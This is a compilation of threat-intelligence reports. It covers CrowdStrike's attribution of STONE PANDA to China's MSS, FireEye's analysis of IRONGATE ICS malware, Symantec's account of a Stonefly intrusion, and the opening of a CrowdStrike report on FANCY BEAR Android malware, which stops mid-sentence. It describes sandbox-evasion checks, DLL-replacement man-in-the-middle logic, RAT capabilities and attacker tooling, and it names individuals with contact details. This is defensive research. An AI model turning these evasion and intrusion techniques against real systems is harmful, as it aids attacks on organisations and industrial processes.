pieces of information can be verified. Several of the named individuals have been active registering domains as recently as June 2018, and they responded to the IntrusionTruth blog posts by scrubbing their social media or by following IntrusionTruths Twitter account. Named individuals ZHANG Shilong and GAO Qiang have significant connections to known Chinese hacking forums, and they have sourced tools currently in use by China-based cyber adversaries. ZHANG has registered several sites with overlapping registrant details that show both his affiliation with several physical technology firm addresses as well as his residence in Tianjin. Named firm Huaying Haitai has been connected to a Chinese Ministry of Industry and Information Technology (MIIT) sponsored attack and defense competition this is similar to GOTHIC PANDAs ties to an active defense lab sponsored by China Information Technology Evaluation Center (CNITSEC). Huaying Haitai has previously hired Chinese students with Japanese language skills this is significant, as STONE PANDA has engaged in several campaigns targeting Japanese firms. The MSS Tianjin Bureau is confirmed to be located at the described address, not far from many of the registrant addresses listed by ZHANG as well the firms GAO was likely recruiting for. More details that may further illuminate these findings and provide a higher confidence in connecting STONE PANDA to the MSS Tianjin Bureau are likely to emerge. Background Throughout May 2017, using a variety of historical information and open-source intelligence (OSINT), IntrusionTruth released several blog posts identifying several individuals connected to Boyusec. Though CrowdStrikes Threat Intelligence team had suspected GOTHIC PANDA was an MSS contractor for several years, the IntrusionTruth posts and subsequent research by RecordedFuture into MSS ties to the China Information Technology Evaluation Center (CNITSEC/) corroborated additional details from various sources and provided a higher degree of confidence. Confidence in these findings was further boosted when the U.S. Department of Justice named Boyusec and several of the described individuals in an indictment, and detailed GOTHIC PANDA tactics, techniques, and procedures (TTPs) in detail. CrowdStrike Falcon Intelligence was able to independently verify the majority of this information and concluded that not only is CNITSEC associated with the MSS, but its former director WU Shizhong () was simultaneously dual-hatted as the director of the MSS Technology/13th Bureau () , implying that the MSS plays a crucial role in Chinas code review of foreign products and is now able to cherry pick high-value vulnerabilities from its own capable domestic bug hunting teams. CNITSECs role in code review for foreign entities has led to its access to Microsofts source code dating back to 2003 and the use by KRYPTONITE PANDA of a high-value vulnerability (CVE-2018-0802), discovered by Chinese firm Qihoo 360, a month before it was publicly revealed. 1 2 3 1/8 https://www.crowdstrike.com/blog/two-birds-one-stone-panda/ https://intrusiontruth.wordpress.com/ https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/ https://intrusiontruth.wordpress.com/2018/08/15/apt10-was-managed-by-the-tianjin-bureau-of-the-chinese-ministry-of-state-security/ https://intrusiontruth.wordpress.com/2017/05/02/who-is-mr-wu/ https://intrusiontruth.wordpress.com/2017/05/05/who-is-mr-dong/ https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/ https://www.recordedfuture.com/chinese-mss-behind-apt3/ https://www.justice.gov/opa/press-release/file/1013866/download https://news.microsoft.com/2003/09/26/china-information-technology-security-certification-center-source-code-review-lab-opened/ WU Shizhong Presenting on the Digital Silk Road at the Second Wuzhen World Internet Conference in 2015 As research into the IntrusionTruth leads on STONE PANDA continues, Falcon Intelligence has already observed some consistencies with known MSS operations. Sinking Like a STONE GAO Qiang (/ ) Many of the personal details for GAO were scrubbed shortly after IntrusionTruths post introducing him went live, including his Tencent QQ account. The blog connects him to the moniker fisherxp via an initial spear-phishing campaign from 2010 previously attributed to STONE PANDA. Multiple sites with profile pictures appear to show the owner of the fisherxp accounts, though this has yet to be independently confirmed as GAO. Fisherxps QQ shows his alternate username as or big porker. IntrusionTruth later links GAO to several documented Uber rides to the MSS Tianjin Bureaus office address where both his first name, Qiang/, and are used by the app to identify him and tie him to the QQ number 420192. CrowdStrike cannot confirm the validity of these Uber receipts at this time. However, fisherxps account on popular Chinese technology forum 51CTO is still active and shows that he has downloaded not only the open-source DarkComet RAT and numerous password cracking tools, but more importantly, several favorite tools used by a plethora of known Chinese cyber adversaries including Gh0st RAT 3.6, zxarps (an ARP-spoofing tool by legacy hacker LZX), and lcx.exe (a port-forwarding tool by legacy hacker LCX) . ZHANG Shilong () ZHANG was originally introduced by IntrusionTruth as a reciprocal follower of fisherxps Twitter account via his own baobeilong account. Baobeilong (/Baby Dragon) also maintained a GitHub account that had forked both the Quasar and Trochilus RATs, two open-source tools historically used by STONE PANDA, but the account has since been scrubbed. This information was verified by CrowdStrike before being removed completely. Falcon Intelligence recently independently conducted detailed analysis of the RedLeaves malware used to target numerous Japanese defense groups and found it was directly sourced from Trochilus code, but it has undergone several evolutions and contains prefixes suggesting it could also be used to target Russia and the DPRK. There is no conclusive evidence at this time that RedLeaves is solely attributed to STONE PANDA. Baobeilong did maintain a Flickr account with numerous pictures that proved key in identifying his location later, similar to how cpyys photos helped identify his affiliation to the Peoples Liberation Army (PLA) in CrowdStrikes PUTTER PANDA report. IntrusionTruth then drew connections from baobeilongs other online accounts to registrant details for xiaohong[. ]org, which dated back to 2007 and revealed ZHANGs full nameZHANG Shilong. From there, a trail of overlapping registrant details reveals ZHANGs hanzi characters for his name (), likely one of his personal home addresses, potential work addresses and several email addresses: longxiaohong[. ]org baobeixiaohong[. ]org 4 2/8 https://intrusiontruth.wordpress.com/2018/08/02/who-is-mr-gao/ https://intrusiontruth.wordpress.com/2018/08/15/apt10-was-managed-by-the-tianjin-bureau-of-the-chinese-ministry-of-state-security/ https://intrusiontruth.wordpress.com/2018/08/06/who-is-mr-zhang/ https://www.crowdstrike.com/blog/hat-tribution-pla-unit-61486/ atreexpyahoo[. ]com.cn robin4700foxmail[. ]com eshilongvip.qq[. ]com Specifically tracing registrant details from atreexp robin4700 eshilong shows that ZHANG was active registering sites as recently as June 5, 2018, including a personal blog where his picture and name features prominently along with several technology-related blog posts. A picture from baobeilongs Flickr account shows a fire at the Tianjin Medical Center 120 Laoying Baichen Instruments The original blog post on GAO lists his contact information in recruitment postings for two separate companies, one of which is Laoying Baichen Instruments (characters unknown at the time of this writing). No records could be found for such a firm, however, IntrusionTruth lists the address associated with it as Room 1102, Guanfu Mansion, 46 Xinkai Road, Hedong District, Tianjin (46 1102). During the course of investigating Laoying and the Guanfu mansion, Falcon Intelligence noticed that the Guanfu Mansion is also the registered address of a firm called Tianjin Henglide Technology Co., Ltd. (), which is listed as one of only a few review centers certified by CNITSEC in Tianjin . Laoying and Henglide are listed as being on different floors, however having a CNITSEC review center in the same building is noteworthy given CNITSECs connection to MSS and previous linkage to Boyusec/GOTHIC PANDA. 5 3/8 Zhang is believed to have taken the photo of the fire from the Wanchan Meizhuan Mansion. This is relatively close to both the Yuyang Complex (one of Zhangs listed registrant addresses) and the Guanfu Mansion, Laoying Baichens listed address. Tianjin Huaying Haitai Science and Technology Development Company The other firm GAO appears to have been recruiting for is Huaying Haitai (). As the IntrusionTruth blog post mentions, it is a registered firm with two listed representatives, Fang Ting () and Sun Lei (), and a listed address of 1906 Fuyu Mansion (1-1906). Searches for more information on Huaying Haitai turned up two interesting government documents. One is a recruitment Excel sheet detailing recent graduates, their majors and their new employers and addresses. Huaying Haitai is listed as having hired a recently graduated female student from Nankai University in 2013 who majored in Japanese. This is interesting considering STONE PANDAs extensive targeting of Japanese defense firms after this time period, but it is by no means conclusive evidence that the firm is connected to STONE PANDA. The second government document lists Huaying Haitai as the co-organizer of a Network Security Attack and Defense competition with the Ministry of Industry and Information Technologys (MIIT) national training entity, NSACE . It was open for all students of Henan Province. NSACE appears to be a national education body that teaches network information security, including offensive activity . This information is particularly interesting given Boyusecs previous work at CNITSECs Guangdong subsidiary setting up a joint active defense lab . It suggests that these technology firms act as both shell companies and recruitment grounds for potential MSS use in cyber operations. 6 7 8 4/8 MSS Tianjin Bureau The most recent IntrusionTruth post assesses that GAOs Uber rides frequently took him from Huayings address at the Fuyu Mansion to 85 Zhujiang Road (85). 5/8 When observed closely, the compound is a striking one complete with towers, a fenced perimeter with surveillance cameras, guarded entrances, and a building with a significant number of satellite dishes. There are no markers on the building and no government listed address however, it is apparently difficult for locals to determine where the Tianjin Bureaus location is as well. There are several Baidu questions asking what transportation routes are best to get to that specific address. Three separate ones specifically mention the 85 Zhujiang Road address as the headquarters for the MSSs Tianjin Bureau and the difficulty in finding its location . As with most cyber-enabled operations, satellite arrays are often indicative of installations with significant signals intelligence (SIGINT) capabilities. The Tianjin Bureau appears to have the potential for such capabilities, housing several large arrays that appear to have existed since at least January 2004. 9 10 11 6/8 Barely visible satellite dishes from the street view of 85 Zhujiang Road outside the compound Conclusion There are still significant intelligence gaps that prevent Falcon Intelligence from making an assessment about STONE PANDAs potential connections to the MSS Tianjin Bureau with a high degree of confidence. However, additional information is likely to materialize either directly from IntrusionTruth or from other firms in the infosec community who are undoubtedly looking at this material as well and may have unique insight of their own. Ultimately, IntrusionTruths prior releases on GOTHIC PANDA proved accurate and led to a U.S. Department of Justice indictment resulting in the dismantling of Boyusec. From their latest post, which contains GAOs Uber receipts, it is clear the groups information likely goes beyond merely available OSINT data. It cannot be ignored that there are striking similarities between the entities associated with GOTHIC PANDA and the actors and firms mentioned in the blogs about STONE PANDA. In addition, FalconIntelligence notes that following the late 2015 Sino-U.S. brief cyber detente, much of the responsibility for western cyber intrusion operations was handed to the MSS as the PLA underwent an extensive reform that is still currently underway, and which is consolidating its military cyber forces under the Strategic Support Force. Though the detente saw an initial drop in Chinese intrusion activity, it has steadily been increasing over the past several years, with a majority of the intrusions into western firms being conducted by suspected contractors. These adversaries are tracked by CrowdStrike as GOTHIC PANDA, STONE PANDA, WICKED PANDA, JUDGMENT PANDA, and KRYPTONITE PANDA. Many of these adversaries have begun targeting supply chain and upstream providers to establish a potential platform for future operations and enable the collection of larger sets of data. While the APT1, PUTTER PANDA, and Operation CameraShy reports all exposed PLA units at a time when Chinese military hacking against western firms was rampant, the attention has now swung toward identifying MSS contractors. The exposure of STONE PANDA as an MSS contractor would be another blow to Chinas current cyber operations given STONE PANDAs prolific targeting of a variety of sectors, and may prompt an additional U.S. investigation at a tenuous time for Sino-U.S. relations during an ongoing trade war. However, it is important to note that such public revelations often force these actors to cease operations, improve their operational security (OPSEC), and then return stronger than before. As such, CrowdStrike Falcon Intelligence assesses that although Boyusec may have shuttered, elements of GOTHIC PANDA are likely to still be active. The same is likely to be true for STONE PANDA following a period of silence. The activities of STONE PANDA impact entities in the Aerospace Defense, Government, Healthcare, Technology, Telecommunications Services of several nations. For more information on how to incorporate intelligence on threat actors like STONE PANDA into your security strategy, please visit the Falcon Intelligence product page. Footnotes 1. http://kjbz.mca.gov[. ]cn/article/mzbzhzcwj/201106/20110600157934.shtml 2. http://bjgwql[. ]com/a/hezuojiaoliu/2011/0422/288.htm 3. http://alumni.ecnu.edu[. ]cn/s/328/t/528/3b/02/info80642.htm 4. http://down.51cto[. ]com/424761/down/1/ 5. http://www.djbh[. ]net/webdev/web/LevelTestOrgAction.do?pnlbdLv3id402885cb35d11a540135d168e41e000c 6. http://rjzyjsxy.zzia.edu[. ]cn/picture/article/25/27/01/6c8b24a143f9959a85301d4527f0/801f81cf-8f30-4aa4-8428-7f9d4e778e76.doc 7. http://www.yingjiesheng[. ]com/job-001-607-536.html 8. https://www.recordedfuture.com/chinese-mss-behind-apt3/ 9. https://zhidao.baidu[. ]com/question/1046720364336588899.html? frikswordCCECBDF2CAD0D6E9BDADB5C085BAC5CAC7CAB2C3B4B5A5CEBBC2EFiegbk 10. https://zhidao.baidu[. ]com/question/146035392.html? frikswordCCECBDF2CAD0D6E9BDADB5C085BAC5CAC7CAB2C3B4B5A5CEBBC2EFiegbk 11. https://zhidao.baidu[. ]com/question/223614321.html? frikswordCCECBDF2CAD0D6E9BDADB5C085BAC5CAC7CAB2C3B4B5A5CEBBC2EFiegbk 7/8 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Aerospace 26 Defense27 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Government27 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Healthcare27 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Technology27 https://falcon.crowdstrike.com/intelligence/actors?filtertarget_industries.value.raw3A27Telecommunications Services27 https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/ 8/8 Two Birds, One STONE PANDA Introduction Background Sinking Like a STONE GAO Qiang (/ ) ZHANG Shilong () Laoying Baichen Instruments Tianjin Huaying Haitai Science and Technology Development Company MSS Tianjin Bureau Conclusion Footnotes IRONGATE ICS Malware: Nothing to See Here...Masking Malicious Activity on SCADA Systems www.fireeye.com /blog/threat-research/2016/06/irongate_ics_malware.html In the latter half of 2015, the FireEye Labs Advanced Reverse Engineering (FLARE) team identified several versions of an ICS-focused malware crafted to manipulate a specific industrial process running within a simulated Siemens control system environment. We named this family of malware IRONGATE. FLARE found the samples on VirusTotal while researching droppers compiled with PyInstaller an approach used by numerous malicious actors. The IRONGATE samples stood out based on their references to SCADA and associated functionality. Two samples of the malware payload were uploaded by different sources in 2014, but none of the antivirus vendors featured on VirusTotal flagged them as malicious. Siemens Product Computer Emergency Readiness Team (ProductCERT) confirmed that IRONGATE is not viable against operational Siemens control systems and determined that IRONGATE does not exploit any vulnerabilities in Siemens products. We are unable to associate IRONGATE with any campaigns or threat actors. We acknowledge that IRONGATE could be a test case, proof of concept, or research activity for ICS attack techniques. Our analysis finds that IRONGATE invokes ICS attack concepts first seen in Stuxnet, but in a simulation environment. Because the body of industrial control systems (ICS) and supervisory control and data acquisition (SCADA) malware is limited, we are sharing details with the broader community. Malicious Concepts Deceptive Man-in-the-Middle IRONGATEs key feature is a man-in-the-middle (MitM) attack against process input-output (IO) and process operator software within industrial process simulation. The malware replaces a Dynamic Link Library (DLL) with a malicious DLL, which then acts as a broker between a PLC and the legitimate monitoring software. This malicious DLL records five seconds of normal traffic from a PLC to the user interface and replays it, while sending different data back to the PLC. This could allow an attacker to alter a controlled process unbeknownst to process operators. Sandbox Evasion IRONGATEs second notable feature involves sandbox evasion. Some droppers for the IRONGATE malware would not run if VMware or Cuckoo Sandbox environments were employed. The malware uses these techniques to avoid detection and resist analysis, and developing these anti-sandbox techniques indicates that the author wanted the code to resist casual analysis attempts. It also implies that IRONGATEs purpose was malicious, as opposed to a tool written for other legitimate purposes. Dropper Observables We first identified IRONGATE when investigating droppers compiled with PyInstaller an approach used by numerous malicious actors. In addition, strings found in the dropper include the word payload, which is commonly associated with malware. Unique Features for ICS Malware While IRONGATE malware does not compare to Stuxnet in terms of complexity, ability to propagate, or geopolitical 1/7 https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/stuxnet_0_5_the_missing_link.pdf implications, IRONGATE leverages some of the same features and techniques Stuxtnet used to attack centrifuge rotor speeds at the Natanz uranium enrichment facility it also demonstrates new features for ICS malware. Both pieces of malware look for a single, highly specific process. Both replace DLLs to achieve process manipulation. IRONGATE detects malware detonation/observation environments, whereas Stuxnet looked for the presence of antivirus software. IRONGATE actively records and plays back process data to hide manipulations, whereas Stuxnet did not attempt to hide its process manipulation, but suspended normal operation of the S7-315 so even if rotor speed had been displayed on the HMI, the data would have been static. A Proof of Concept IRONGATEs characteristics lead us to conclude that it is a test, proof of concept, or research activity. The code is specifically crafted to look for a user-created DLL communicating with the Siemens PLCSIM environment. PLCSIM is used to test PLC program functionality prior to in-field deployment. The DLLs that IRONGATE seeks and replaces are not part of the Siemens standard product set, but communicate with the S7ProSim COM object. Malware authors test concepts using commercial simulation software. Code in the malicious software closely matched usage on a control engineering blog dealing with PLCSIM (https://alexsentcha.wordpress.com/using-s7-prosim-with-siemens-s7-plcsim/ and https://pcplcdemos.googlecode.com/hg/S7PROSIM/BioGas/S720v5.5/). While we have identified and analyzed several droppers for the IRONGATE malware, we have yet to identify the codes infection vector. In addition, our analysis did not identify what triggers the MitM payload to install the scada.exe binary that deploys the IRONGATE DLL payload appears to require manual execution. We have not identified any other instances of the ICS-specific IRONGATE components (scada.exe and Step7ProSim.dll), despite their having been compiled in September of 2014. Siemens ProductCERT has confirmed that the code would not work against a standard Siemens control system environment. Implications for ICS Asset Owners Even though process operators face no increased risk from the currently identified members of the IRONGATE malware family, IRONGATE provides valuable insight into adversary mindset. Network security monitoring, indicator of compromise (IoC) matching, and good practice guidance from vendors and other stakeholders represent important defensive techniques for ICS networks. To specifically counter IRONGATEs process attack techniques, ICS asset owners may, over the longer term, implement solutions that: Require integrity checks and code signing for vendor and user generated code. Lacking cryptographic verification facilitates file replacement and MitM attacks against controlled industrial processes. Develop mechanisms for sanity checking IO data, such as independent sensing and backhaul, and comparison with expected process state information. Ignorance of expected process state facilitates an attackers ability to achieve physical consequence without alarming operators. 2/7 http://www.langner.com/en/wp-content/uploads/2013/11/To-kill-a-centrifuge.pdf Technical Malware Analysis IRONGATE Dropper Family FireEye has identified six IRONGATE droppers: bla.exe, update.exe1, update_no_pipe.exe1, update_no_pipe.exe2, update_no_pipe.exe2, update.exe3. All but one of these Python-based droppers first checks for execution in a VMware or Cuckoo Sandbox environment. If found, the malware exits. If not found, the IRONGATE dropper extracts a UPX-packed, publicly available utility (NirSoft NetResView version 1.27) to audiodg.exe in the same directory as the dropper. The dropper then executes the utility using the command audiodg.exe /scomma scxrt2.ini. This command populates the file scxrt2.ini with a comma-separated list of network resources identified by the host system. The dropper iterates through each entry in scxrt2.ini, looking for paths named move-to-operational or move-to- operational.lnk. If a path is found, the dropper first extracts the Base64-encoded .NET executable scada.exe to the current directory and then moves the file to the path containing move-to-operational or move-to-operational.lnk. The path move-to-operational is interesting as well, perhaps implying that IRONGATE was not seeking the actual running process, but rather a staging area for code promotion. The dropper does not execute the scada.exe payload after moving it. Anti-Analysis Techniques Each IRONGATE dropper currently identified deploys the same .NET payload, scada.exe. All but one of the droppers incorporated anti-detection/analysis techniques to identify execution in VMware or the Cuckoo Sandbox. If such environments are detected, the dropper will not deploy the .NET executable (scada.exe) to the host. Four of the droppers ( update.exe1, update_no_pipe.exe1, update_no_pipe.exe2, and update.exe3) detect Cuckoo environments by scanning subdirectories of the SystemDrive. Directories with names greater than five, but fewer than ten characters are inspected for the subdirectories drop, files, logs, memory, and shots. If a matching directory is found, the dropper does not attempt to deploy the scada.exe payload. The update.exe1 and update.exe3 droppers contain code for an additional Cuckoo check using the SysInternals pipelist program, install.exe, but the code is disabled in each. The update.exe2 dropper includes a check for VMware instead of Cuckoo. The VMWare check looks for the registry key HKLM\SOFTWARE\VMware, Inc.\VMware Tools and the files WINDIR\system32\drivers\vmmouse.sys and WINDIR\system32\drivers\vmhgfs.sys. If any of these are found, the dropper does not attempt to deploy the scada.exe payload. The dropper bla.exe does not include an environment check for either Cuckoo or VMware. scada.exe Payload We surmise that scada.exe is a user-created payload used for testing the malware. First, our analysis did not indicate what triggers scada.exe to run. Second, Siemens ProductCERT informed us that scada.exe is not a default 3/7 http://www.nirsoft.net/utils/netresview.html file name associated with Siemens industrial control software. When scada.exe executes, it scans drives attached to the system for filenames ending in Step7ProSim.dll. According to the Siemens ProductCERT, Step7ProSim.dll is not part of the Siemens PLCSIM software. We were unable to determine whether this DLL was created specifically by the malware author, or if it was from another source, such as example code or a particular custom ICS implementation. We surmise this DLL simulates generation of IO values, which would normally be provided by an S7-based controller, since the functions it includes appear derived from the Siemens PLCSIM environment. If scada.exe finds a matching DLL file name, it kills all running processes with the name biogas.exe. The malware then moves Step7ProSim.dll to Step7ConMgr.dll and drops a malicious Step7ProSim.dll the IRONGATE payload to the same directory. The malicious Step7ProSim.dll acts as an API proxy between the original user-created Step7ProSim.dll (now named Step7ConMgr.dll) and the application biogas.exe that loads it. Five seconds after loading, the malicious Step7ProSim.dll records five seconds of calls to ReadDataBlockValue. All future calls to ReadDataBlockValue return the recorded data. Simultaneously, the malicious DLL discards all calls to WriteDataBlockValue and instead calls WriteInputPoint(0x110, 0, 0x7763) and WriteInputPoint(0x114, 0, 0x7763) every millisecond. All of these functions are named similarly to Siemens S7ProSim v5.4 COM interface. It appears that other calls to API functions are passed through the malicious DLL to the legitimate DLL with no other modification. Biogas.exe As mentioned previously, IRONGATE seeks to manipulate code similar to that found on a blog dealing with simulating PLC communications using PLCSIM, including the use of an executable named biogas.exe. Examination of the executable from that blogs demo code shows that the WriteInputPoint function calls with byte indices 0x110 and 0x114 set pressure and temperature values, respectively: IRONGATE: WriteInputPoint(0x110, 0, 0x7763) WriteInputPoint(0x114, 0, 0x7763) Equivalent pseudo code from Biogas.exe: S7ProSim. WriteInputPoint(0x110, 0, (short)this. Pressure. Value) S7ProSim. WriteInputPoint(0x114, 0, (short)this. Temperature. Value) We have been unable to determine the significance of the hardcoded value 0x7763, which is passed in both instances of the write function. Because of the noted indications that IRONGATE is a proof of concept, we cannot conclude IRONGATEs author intends to manipulate specific temperature or pressure values associated with the specific biogas.exe process, but find the similarities to this example code striking. Artifacts and Indicators 4/7 PyInstaller Artifacts The IRONGATE droppers are Python scripts converted to executables using PyInstaller. The compiled droppers contain PyInstaller artifacts from the system the executables were created on. These artifacts may link other samples compiled on the same system. Five of the six file droppers ( bla.exe, update.exe1, update_no_pipe.exe1, update_no_pipe.exe2 and update.exe3) all share the same PyInstaller artifacts listed in Table 1. Table 1: Pyinstaller Artifacts The remaining dropper, update.exe2, contains the artifacts listed in Table 2. 5/7 Table 2: Pyinstaller Artifacts for update.exe2 Unique Strings Figure 1 and 2 list the unique strings discovered in the scada.exe and Step7ProSim.dll binaries. Figure 1: Scada.exe Unique Strings Figure 2: Step7ProSim.dll Unique Strings File Hashes Table 3 contains the MD5 hashes, file and architecture type, and compile times for the malware analyzed in this report. 6/7 Table 3: File MD5 Hashes and Compile Times FireEye detects IRONGATE. A list of indicators can be found here. Special thanks to the Siemens ProductCERT for providing support and context to this investigation. 7/7 https://github.com/fireeye/iocs IRONGATE ICS Malware: Nothing to See Here...Masking Malicious Activity on SCADA Systems Malicious Concepts Unique Features for ICS Malware A Proof of Concept Implications for ICS Asset Owners Technical Malware Analysis IRONGATE Dropper Family Artifacts and Indicators PyInstaller Artifacts Unique Strings File Hashes 1/4 Stonefly: North Korea-linked Spying Operation Continues to Hit High-value Targets symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage The North Korean-linked Stonefly group is continuing to mount espionage attacks against highly specialized engineering companies with a likely goal of obtaining sensitive intellectual property. Stonefly specializes in mounting highly selective targeted attacks against targets that could yield intelligence to assist strategically important sectors such as energy, aerospace, and military equipment. Virtually all of the technologies it appears to be interested in have military as well as civilian uses and some could have applications in the development of advanced weaponry. History of ambitious attacks Stonefly (aka DarkSeoul, BlackMine, Operation Troy, and Silent Chollima) first came to notice in July 2009, when it mounted distributed denial-of-service (DDoS) attacks against a number of South Korean, U.S. government, and financial websites. It reappeared again in 2011, when it launched more DDoS attacks, but also revealed an espionage element to its attacks when it was found to be using a sophisticated backdoor Trojan (Backdoor. Prioxer) against selected targets. In March 2013, the group was linked to the Jokra (Tojan. Jokra) disk-wiping attacks against a number of South Korean banks and broadcasters. Three months later, the group was involved in a string of DDoS attacks against South Korean government websites. In recent years, the groups capabilities have grown markedly and, since at least 2019 Symantec has seen its focus shift solely to espionage operations against select, high-value targets. It now appears to specialize in targeting organizations that hold classified or highly sensitive information or intellectual property. Stoneflys operations appear to be part of a broader North Korean-sponsored campaign to acquire information and intellectual property, with Operation Dream Job, a more wider-ranging trawl across multiple sectors, being carried out by another North Korean group, Pompilus. Latest target The most recent attack discovered by Symantec, a division of Broadcom Software, was against an engineering firm that works in the energy and military sectors. The attackers breached the organization in February 2022, most likely by exploiting the Log4j vulnerability https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage https://www.symantec.com/connect/blogs/backdoorprioxerinf-accidentally-stealthiest-file-infector-ever https://www.symantec.com/connect/blogs/south-korean-banks-and-broadcasting-organizations-suffer-major-damage-cyberattack https://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war https://software.broadcom.com/ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day 2/4 (CVE-2021-44228) vulnerability on a public-facing VMware View server. The attackers then moved across the network and compromised 18 other computers. 17 hours later: Shortly after compromising the initial server, the attackers installed an updated version of Stoneflys Backdoor. Preft malware (aka Dtrack, Valefor). The attackers then used a masqueraded version (file name: pvhost.exe) of PuTTYs PSCP command line application, presumably to exfiltrate data from the infected machine. Shortly after PSCP was executed, the credential-dumping tool Mimikatz (masquerading under the file name pl.exe) was run. Day 2: Malicious activity resumed when 3proxy tiny proxy server, a publicly available proxy tool (file name: svhost.exe) was executed. Use of this tool continued for the next four days. A second suspected proxy tool was installed two days into this four day period (file name: tapi.exe). Several hours afterwards, a copy of the Preft backdoor (file name: svchost.exe) was installed. Two days later, WinSCP, an open-source SSH file-transfer tool was used, presumably to exfiltrate or upload data to the compromised computer. Day 3: The next phase of the intrusion began on the following day, when Preft was executed and the attackers began moving latterly across the organizations network, using Invoke- TheHash, a publicly available PowerShell pass-the-hash utility (file name: rev.ps1), and wmiexec.py, a publicly available Impacket tool used to run WMI commands (file name: notepad.exe). Updated Preft backdoor The attackers used an updated version of Stoneflys custom Preft backdoor. Analysis of the backdoor revealed that it is a multistage tool: Stage 1 is the main binary. A python script is used to unpack the binary and shellcode. Stage 2 is shellcode. It performs the following actions: Sleeps for 19,999 seconds, probably in an attempt to evade sandbox detection Opens a mutex, with the name specified in the Stage 3 shellcode Instead of loading an executable file, it starts Internet Explorer (iexplore.exe) or explorer.exe and injects the Stage 3 shellcode into either. It sets up a named pipe (\.\pipe\pipe) for communication. The file name of the main binary is sent over the pipe. Stage 3 is more shellcode. Stage 4 is the payload. It is an HTTP remote access tool (RAT) that supports various commands, including: 1. Download (Download a file and save locally) https://www.putty.org/ https://github.com/3proxy/3proxy https://winscp.net/ https://github.com/Kevin-Robertson/Invoke-TheHash https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py 3/4 2. Upload (Upload a file to a CC server) 3. Set Interval (Change CC server query interval - in minutes) 4. Shell Execute (Execute a command in the shell) 5. Download Plugin 6. Update (Download a new version and replace) 7. Info (Return debug information about the current infection) 8. Uninstall 9. Download Executable The malware can support four different kinds of plugins: executable files, VBS, BAT, and shellcode. It supports three different persistence modes: Startup_LNK, Service, Registry, and Task Scheduler. Custom information stealer Along with the Preft backdoor, Stonefly also deployed what appears to be a custom developed information stealer (infostealer). Analysis of this malware revealed that it is a three-staged threat. The main binary extracts and decrypts the encrypted shellcode with a modified RC4 algorithm. Stage 2 is shellcode which retrieves the payload and decrypts it with the same modified RC4 algorithm. The decrypted payload is an executable file that is loaded in-memory. It is designed to search the infected computer for files using pre-configured parameters. These are then copied to temporary files before being copied to a single .zip file and the temporary files are removed. The ZIP file path is TEMP/[XXXXXXXX].tmp, where XXXXXXXX is a simple hash of the computer name (eight uppercase hex digits). Curiously, this ZIP file is not automatically exfiltrated. It is possible that the exfiltration functionality was removed and the attackers planned to use an alternative means of exfiltration. High-value targets While Stoneflys tools and tactics continue to evolve, there are some common threads between this recent activity and previous attacks, such as its ongoing development of the Preft backdoor and heavy reliance on open-source tools. The groups capabilities and its narrow focus on acquiring sensitive information make it one of the most potent North Korean cyber threat actors operating today. Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. https://www.broadcom.com/support/security-center/protection-bulletin 4/4 Indicators of Compromise If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file. About the Author Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. CROWDSTRIKE GLOBAL INTELLIGENCE TEAM web: WWW.CROWDSTRIKE.COM twitter: CROWDSTRIKE Copyright 2016 U S E O F F A N C Y B E A R A N D R O I D M A L WA R E I N T R A C K I N G O F U K R A I N I A N F I E L D A R T I L L E R Y U N I T S P U B L I S H E D D E C E M B E R 2 2 K E Y P O I N T S From late 2014 and through 2016, FANCY BEAR X-Agent implant was covertly distributed on Ukrainian military forums within a legitimate Android application developed by Ukrainian artillery officer Yaroslav Sherstuk. The original application enabled artillery forces to more rapidly process targeting data for the Soviet-era D-30 Howitzer employed by Ukrainian artillery forces reducing targeting time from minutes to under 15 seconds. According to Sherstuks interviews with the press, over 9000 artillery personnel have been using the application in Ukrainian military. Successful deployment of the FANCY BEAR malware within this application may have facilitated reconnaissance against Ukrainian troops. The ability of this malware to retrieve communications and gross locational data from an infected device makes it an attractive way to identify the general location of Ukrainian artillery forces and engage them. Open source reporting indicates that Ukrainian artillery forces have lost over 50 of their weapons in the 2 years of conflict and over 80 of D-30 howitzers, the highest percentage of loss of any other artillery pieces in Ukraines arsenal. This previously unseen variant of X-Agent represents FANCY BEARs expansion in mobile malware development from iOS- capable implants to Android devices, and reveals one more component of the broad spectrum approach to cyber operations taken by Russia-based actors in the war in Ukraine. The collection of such tactical artillery force positioning intelligence by FANCY BEAR further supports CrowdStrikes previous assessments that FANCY BEAR is likely affiliated with the Russian military intelligence (GRU), and works closely with Russian military forces operating in Eastern Ukraine and its border regions in Russia. O P E N -S O U R C E R E P O R T I N G I N D I C AT E S L O S S E S O F A L M O S T 5 0 O F E Q U I P M E N T I N T H E L A S T 2 Y E A R S O F C O N F L I C T A M O N G S T U K R A I N I A N A R T I L L E R Y F O R C E S A N D O V E R 8 0 O F D -3 0 H O W I T Z E R S W E R E L O S T, F A R M O R E T H A N A N Y O T H E R P I E C E O F U K R A I N I A N A R T I L L E R Y 9 . U S E O F F A N C Y B E A R A N D R O I D M A L WA R E I N T R A C K I N G O F U K R A I N I A N F I E L D A R T I L L E R Y U N I T S B A C K G R O U N D In late June and August 2016, CrowdStrike Intelligence provided initial reporting and technical analysis of a variant of the FANCY BEAR implant X-Agent that targeted the Android mobile platform2. CrowdStrike identified this X-Agent variant within a legitimate Android application named -30.apk. This app was developed and used by artillery troops to simplify targeting data for the 